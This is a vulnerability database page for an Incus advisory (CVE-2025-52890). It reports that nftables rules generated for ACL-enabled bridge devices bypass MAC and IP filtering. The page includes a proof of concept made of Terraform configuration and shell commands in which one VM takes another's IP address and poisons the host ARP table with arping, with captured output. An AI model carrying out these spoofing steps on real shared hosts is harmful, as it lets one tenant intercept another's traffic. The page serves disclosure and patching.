GHSA-P7FW-VJJM-2RWP
Vulnerability from github – Published: 2025-06-26 21:12 – Updated: 2026-03-30 13:54Summary
When using an ACL on a device connected to a bridge, Incus generates nftables rules that partially bypass security options security.mac_filtering, security.ipv4_filtering and security.ipv6_filtering. This can lead to ARP spoofing on the bridge and to fully spoof another VM/container on the same bridge.
Details
In commit d137a063c2fe2a6983c995ba75c03731bee1557d, a few rules in the bridge input chain are moved to the top of the chain:
ct state established,related accept
iifname "{{.hostName}}" ether type arp accept
iifname "{{.hostName}}" ip6 nexthdr ipv6-icmp icmpv6 type { nd-neighbor-solicit, nd-neighbor-advert } accept
However, these rules accept packets that should be filtered and maybe dropped by later rules in the "MAC filtering", "IPv4 filtering" and "IPv6 filtering" snippets:
iifname "{{.hostName}}" ether type arp arp saddr ether != {{.hwAddr}} drop
iifname "{{.hostName}}" ether type ip6 icmpv6 type 136 @nh,528,48 != {{.hwAddrHex}} drop
...
iifname "{{.hostName}}" ether type arp arp saddr ip != { {{.ipv4NetsList}} } drop
...
iifname "{{.hostName}}" ether type ip6 icmpv6 type 136 {{.ipv6NetsPrefixList}} drop
Basically, the added rules partially bypass the security options security.mac_filtering, security.ipv4_filtering and security.ipv6_filtering. Doing so, they allow an attacker to perform ARP poisoning/spoofing attacks and send malicious Neighbor Advertisement (type 136).
PoC
With this terraform infrastructure:
resource "incus_network_acl" "acl_allow_out" {
name = "acl-allow-out"
egress = [
{
action = "allow"
destination = "0.0.0.0-9.255.255.255,11.0.0.0-172.15.255.255,172.32.0.0-192.167.255.255,192.169.0.0-255.255.255.254"
state = "enabled"
},
]
}
resource "incus_network_acl" "acl_allow_in" {
name = "acl-allow-in"
ingress = [
{
action = "allow"
state = "enabled"
},
]
}
resource "incus_network" "br0" {
name = "br0"
config = {
"ipv4.address" = "10.0.0.1/24"
"ipv4.nat" = "true"
}
}
resource "incus_instance" "machine1" {
name = "machine1"
image = "images:archlinux/cloud"
type = "virtual-machine"
config = {
"limits.memory" = "2GiB"
"security.secureboot" = false
"boot.autostart" = false
"cloud-init.vendor-data" = <<-EOF
#cloud-config
package_update: true
packages:
- dhclient
- tcpdump
runcmd:
- systemctl disable --now systemd.networkd.service
- systemctl disable --now systemd.networkd.socket
EOF
}
device {
type = "disk"
name = "root"
properties = {
pool = "default"
path = "/"
size = "64GiB"
}
}
device {
type = "nic"
name = "eth0"
properties = {
network = incus_network.br0.name
"security.ipv4_filtering" = true
"security.acls" = join(",",
[
incus_network_acl.acl_allow_out.name,
incus_network_acl.acl_allow_in.name,
])
}
}
}
resource "incus_instance" "machine2" {
name = "machine2"
image = "images:archlinux/cloud"
type = "virtual-machine"
config = {
"limits.memory" = "2GiB"
"security.secureboot" = false
"boot.autostart" = false
}
device {
type = "disk"
name = "root"
properties = {
pool = "default"
path = "/"
size = "64GiB"
}
}
device {
type = "nic"
name = "eth0"
properties = {
network = incus_network.br0.name
}
}
}
An attacker in a VM (machine1) change their IP address to another VM (machine2)'s IP. The malicious change is reflected in the ARP table of the host, bypassing the MAC filtering. When the host emits or forwards a packet to machine2's IP, it is sent to machine1.
In addition, as ct state established,related accept is now the first rule in bridge chain input, machine1 can even answer and thus fully spoof the victim on the network.
[HOST]$ ip n
10.0.0.236 dev br0 lladdr 10:66:6a:88:e6:5b REACHABLE # machine2
10.0.0.2 dev br0 lladdr 10:66:6a:89:39:45 REACHABLE # machine1
# Spoof machine2
[MACHINE1]$ ip add del 10.0.0.2/24 dev enp5s0
[MACHINE1]$ ip add add 10.0.0.236/24 dev enp5s0
# Flood
[MACHINE1]$ arping 10.0.0.1
# Machine2's IP refers to machine1's MAC in host ARP table
[HOST]$ ip n
10.0.0.236 dev br0 lladdr 10:66:6a:89:39:45 STALE
# Packets from the host (or forwarded by the host) to machine2 ...
[HOST]$ ping 10.0.0.236
PING 10.0.0.236 (10.0.0.236) 56(84) bytes of data.
64 bytes from 10.0.0.236: icmp_seq=1 ttl=64 time=1.19 ms
# ... are sent to machine1!
[MACHINE1]$ tcpdump -nei enp5s0
listening on enp5s0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
15:15:17.008470 10:66:6a:99:e0:d8 > 10:66:6a:89:39:45, ethertype IPv4 (0x0800), length 98: 10.0.0.1 > 10.0.0.236: ICMP echo request, id 4, seq 1, length 64
15:15:17.008513 10:66:6a:89:39:45 > 10:66:6a:99:e0:d8, ethertype IPv4 (0x0800), length 98: 10.0.0.236 > 10.0.0.1: ICMP echo reply, id 4, seq 1, length 64
Impact
All versions since d137a063c2fe2a6983c995ba75c03731bee1557d, so basically v6.12 and v6.13.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 6.13.0"
},
"package": {
"ecosystem": "Go",
"name": "github.com/lxc/incus/v6"
},
"ranges": [
{
"events": [
{
"introduced": "6.12.0"
},
{
"fixed": "6.14.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-52890"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2025-06-26T21:12:45Z",
"nvd_published_at": "2025-06-25T17:15:39Z",
"severity": "HIGH"
},
"details": "### Summary\n\nWhen using an ACL on a device connected to a bridge, Incus generates nftables rules that partially bypass security options `security.mac_filtering`, `security.ipv4_filtering` and `security.ipv6_filtering`. This can lead to ARP spoofing on the bridge and to fully spoof another VM/container on the same bridge.\n\n### Details\n\nIn commit d137a063c2fe2a6983c995ba75c03731bee1557d, a few rules in the bridge input chain are moved to the top of the chain:\n\n ct state established,related accept\n\n iifname \"{{.hostName}}\" ether type arp accept\n iifname \"{{.hostName}}\" ip6 nexthdr ipv6-icmp icmpv6 type { nd-neighbor-solicit, nd-neighbor-advert } accept\n\nHowever, these rules accept packets that should be filtered and maybe dropped by later rules in the \"MAC filtering\", \"IPv4 filtering\" and \"IPv6 filtering\" snippets:\n\n\tiifname \"{{.hostName}}\" ether type arp arp saddr ether != {{.hwAddr}} drop\n\tiifname \"{{.hostName}}\" ether type ip6 icmpv6 type 136 @nh,528,48 != {{.hwAddrHex}} drop\n ...\n iifname \"{{.hostName}}\" ether type arp arp saddr ip != { {{.ipv4NetsList}} } drop\n ...\n\tiifname \"{{.hostName}}\" ether type ip6 icmpv6 type 136 {{.ipv6NetsPrefixList}} drop\n\nBasically, the added rules partially bypass the security options `security.mac_filtering`, `security.ipv4_filtering` and `security.ipv6_filtering`. Doing so, they allow an attacker to perform ARP poisoning/spoofing attacks and send malicious Neighbor Advertisement (type 136).\n\n### PoC\n\nWith this terraform infrastructure:\n\n```\nresource \"incus_network_acl\" \"acl_allow_out\" {\n name = \"acl-allow-out\"\n egress = [\n {\n action = \"allow\"\n destination = \"0.0.0.0-9.255.255.255,11.0.0.0-172.15.255.255,172.32.0.0-192.167.255.255,192.169.0.0-255.255.255.254\"\n state = \"enabled\"\n },\n ]\n}\nresource \"incus_network_acl\" \"acl_allow_in\" {\n name = \"acl-allow-in\"\n ingress = [\n {\n action = \"allow\"\n state = \"enabled\"\n },\n ]\n}\n\nresource \"incus_network\" \"br0\" {\n name = \"br0\"\n config = {\n \"ipv4.address\" = \"10.0.0.1/24\"\n \"ipv4.nat\" = \"true\"\n }\n}\n\nresource \"incus_instance\" \"machine1\" {\n name = \"machine1\"\n image = \"images:archlinux/cloud\"\n type = \"virtual-machine\"\n config = {\n \"limits.memory\" = \"2GiB\"\n \"security.secureboot\" = false\n \"boot.autostart\" = false\n \"cloud-init.vendor-data\" = \u003c\u003c-EOF\n #cloud-config\n package_update: true\n packages:\n - dhclient\n - tcpdump\n runcmd:\n - systemctl disable --now systemd.networkd.service\n - systemctl disable --now systemd.networkd.socket\n EOF\n }\n device {\n type = \"disk\"\n name = \"root\"\n properties = {\n pool = \"default\"\n path = \"/\"\n size = \"64GiB\"\n }\n }\n device {\n type = \"nic\"\n name = \"eth0\"\n properties = {\n network = incus_network.br0.name\n \"security.ipv4_filtering\" = true\n \"security.acls\" = join(\",\",\n [\n incus_network_acl.acl_allow_out.name,\n incus_network_acl.acl_allow_in.name,\n ])\n }\n }\n}\n\nresource \"incus_instance\" \"machine2\" {\n name = \"machine2\"\n image = \"images:archlinux/cloud\"\n type = \"virtual-machine\"\n config = {\n \"limits.memory\" = \"2GiB\"\n \"security.secureboot\" = false\n \"boot.autostart\" = false\n }\n device {\n type = \"disk\"\n name = \"root\"\n properties = {\n pool = \"default\"\n path = \"/\"\n size = \"64GiB\"\n }\n }\n device {\n type = \"nic\"\n name = \"eth0\"\n properties = {\n network = incus_network.br0.name\n }\n }\n}\n```\n\nAn attacker in a VM (machine1) change their IP address to another VM (machine2)\u0027s IP. The malicious change is reflected in the ARP table of the host, bypassing the MAC filtering. When the host emits or forwards a packet to machine2\u0027s IP, it is sent to machine1.\nIn addition, as `ct state established,related accept` is now the first rule in bridge chain input, machine1 can even answer and thus fully spoof the victim on the network.\n\n```bash\n[HOST]$ ip n\n10.0.0.236 dev br0 lladdr 10:66:6a:88:e6:5b REACHABLE # machine2\n10.0.0.2 dev br0 lladdr 10:66:6a:89:39:45 REACHABLE # machine1\n\n# Spoof machine2\n[MACHINE1]$ ip add del 10.0.0.2/24 dev enp5s0\n[MACHINE1]$ ip add add 10.0.0.236/24 dev enp5s0\n\n# Flood\n[MACHINE1]$ arping 10.0.0.1\n\n# Machine2\u0027s IP refers to machine1\u0027s MAC in host ARP table\n[HOST]$ ip n\n10.0.0.236 dev br0 lladdr 10:66:6a:89:39:45 STALE\n\n# Packets from the host (or forwarded by the host) to machine2 ...\n[HOST]$ ping 10.0.0.236\nPING 10.0.0.236 (10.0.0.236) 56(84) bytes of data.\n64 bytes from 10.0.0.236: icmp_seq=1 ttl=64 time=1.19 ms\n\n# ... are sent to machine1!\n[MACHINE1]$ tcpdump -nei enp5s0\nlistening on enp5s0, link-type EN10MB (Ethernet), snapshot length 262144 bytes\n15:15:17.008470 10:66:6a:99:e0:d8 \u003e 10:66:6a:89:39:45, ethertype IPv4 (0x0800), length 98: 10.0.0.1 \u003e 10.0.0.236: ICMP echo request, id 4, seq 1, length 64\n15:15:17.008513 10:66:6a:89:39:45 \u003e 10:66:6a:99:e0:d8, ethertype IPv4 (0x0800), length 98: 10.0.0.236 \u003e 10.0.0.1: ICMP echo reply, id 4, seq 1, length 64\n```\n\n### Impact\n\nAll versions since d137a063c2fe2a6983c995ba75c03731bee1557d, so basically v6.12 and v6.13.",
"id": "GHSA-p7fw-vjjm-2rwp",
"modified": "2026-03-30T13:54:07Z",
"published": "2025-06-26T21:12:45Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lxc/incus/security/advisories/GHSA-p7fw-vjjm-2rwp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-52890"
},
{
"type": "WEB",
"url": "https://github.com/lxc/incus/commit/254dfd2483ab8de39b47c2258b7f1cf0759231c8"
},
{
"type": "PACKAGE",
"url": "https://github.com/lxc/incus"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Incus creates nftables rules that partially bypass security options"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.